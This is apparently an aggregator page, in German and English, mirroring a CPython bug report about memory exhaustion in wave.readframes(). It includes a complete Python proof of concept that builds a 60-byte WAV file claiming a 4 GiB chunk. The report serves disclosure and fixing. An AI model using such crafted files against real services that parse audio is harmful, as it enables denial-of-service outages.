python / python/cpython

Memory Exhaustion in `wave.readframes()` via Crafted Chunk Size

Offen
#151,308 1 Kommentar 0 Reaktionen 0 zugewiesene Personen Auf GitHub ansehen

Dieses Issue hat noch niemand übernommen.

stdlib type-bug
Vorherrschende Sprache
Python
Sterne
77.2k
Forks
35.9k
PR-Merge-Kennzahlen
PR-Kennzahlen ausstehend

Beschreibung

Bug report

Bug description:
Summary

The wave module reads RIFF/WAV chunk sizes from 4-byte header fields without validating them against available input. A 60-byte crafted WAV claiming ~4 GiB of audio data causes readframes() to attempt a ~4 GiB pre-allocation via file.read(chunksize).

Details

_Chunk.__init__ reads chunksize with no upper bound, then _Chunk.read() passes it to file.read():

https://github.com/python/cpython/blob/9633c5239daae3a180f8ce263ce77e4e522e6aa4/Lib/wave.py#L130

https://github.com/python/cpython/blob/9633c5239daae3a180f8ce263ce77e4e522e6aa4/Lib/wave.py#L188-L192

Reproducer
❯ docker run --rm -v "$(pwd)":/work -w /work python:3.14-slim python poc.py
MemoryError from 60-byte WAV with chunksize=4,294,967,295
"""
Memory exhaustion in wave.readframes() via crafted WAV chunk size.
"""

import resource
import struct
import sys
import tempfile
import wave


CLAIMED_SIZE = 0xFFFFFFFF  # ~4 GiB
MEM_LIMIT = 256 * 1024 * 1024  # 256 MiB


def build_crafted_wav() -> bytes:
    """Build a minimal WAV file (60 bytes) claiming ~4 GiB of audio data."""
    fmt_data = struct.pack(
        "<HHLLHH",
        1,      # wFormatTag = WAVE_FORMAT_PCM
        1,      # nchannels = 1 (mono)
        44100,  # framerate
        88200,  # dwAvgBytesPerSec
        2,      # wBlockAlign (nchannels * sampwidth)
        16,     # wBitsPerSample
    )
    fmt_chunk = b"fmt " + struct.pack("<L", len(fmt_data)) + fmt_data

    data_chunk = (
        b"data" + struct.pack("<L", CLAIMED_SIZE) + b"\x00" * 16
    )

    riff_header = b"RIFF" + struct.pack("<L", CLAIMED_SIZE) + b"WAVE"
    return riff_header + fmt_chunk + data_chunk


def main():
    wav_bytes = build_crafted_wav()

    with tempfile.NamedTemporaryFile(suffix=".wav") as tmp:
        tmp.write(wav_bytes)
        tmp.flush()

        try:
            w = wave.open(tmp.name, "r")
            w.readframes(-1)
            w.close()
        except MemoryError:
            print(
                f"MemoryError from {len(wav_bytes)}-byte WAV "
                f"with chunksize={CLAIMED_SIZE:,}"
            )
            sys.exit(0)
        except Exception:
            print("BLOCKED: wave rejected crafted chunksize")
            sys.exit(1)

    print("BLOCKED: no allocation error raised")
    sys.exit(1)


if __name__ == "__main__":
    resource.setrlimit(resource.RLIMIT_AS, (MEM_LIMIT, MEM_LIMIT))
    main()
Impact

Memory Error

Related issue

https://github.com/python/cpython/issues/141713

CPython versions tested on:

3.15

Operating systems tested on:

Linux

Linked PRs
  • gh-151487
  • gh-151488

Beitragsleitfaden

Beitragsleitfaden öffnen

Erste Schritte

  1. Lies das ganze Issue und danach den Beitragsleitfaden des Projekts.
  2. Schreib ins Issue, dass du es übernimmst — das erspart doppelte Arbeit.
  3. Forke das Repository und arbeite in einem Branch.
  4. Öffne einen Pull Request, der die Issue-Nummer nennt.

Rechercherichtung

Beginne in Lib/wave.py, insbesondere bei _Chunk.init und _Chunk.read(), und verwende den im Issue enthaltenen konstruierten WAV-Reproducer. Prüfe die verknüpften PRs gh-151487 und gh-151488, bevor du Änderungen vornimmst. Als erledigt gilt die Aufgabe, wenn der Reproducer aufgrund der angegebenen Chunk-Größe keinen MemoryError mehr auslöst und das Lesen gültiger WAV-Dateien weiterhin funktioniert.

Vom Indexierungsmodell aus dem Issue-Text verfasst.

Bewertung

Tech-Stack
python
Bereich
security
Issue-Typ
Bug
Schwierigkeit
3/5
Geschätzter Aufwand
1-2 Tage
Aktivitätsstatus
Veraltet
Klarheit
Klar beschrieben
Anfängerfreundlichkeit
25/100

Neue Issues direkt in Ihr Postfach

Eine kurze Übersicht über anfängerfreundliche GitHub-Issues.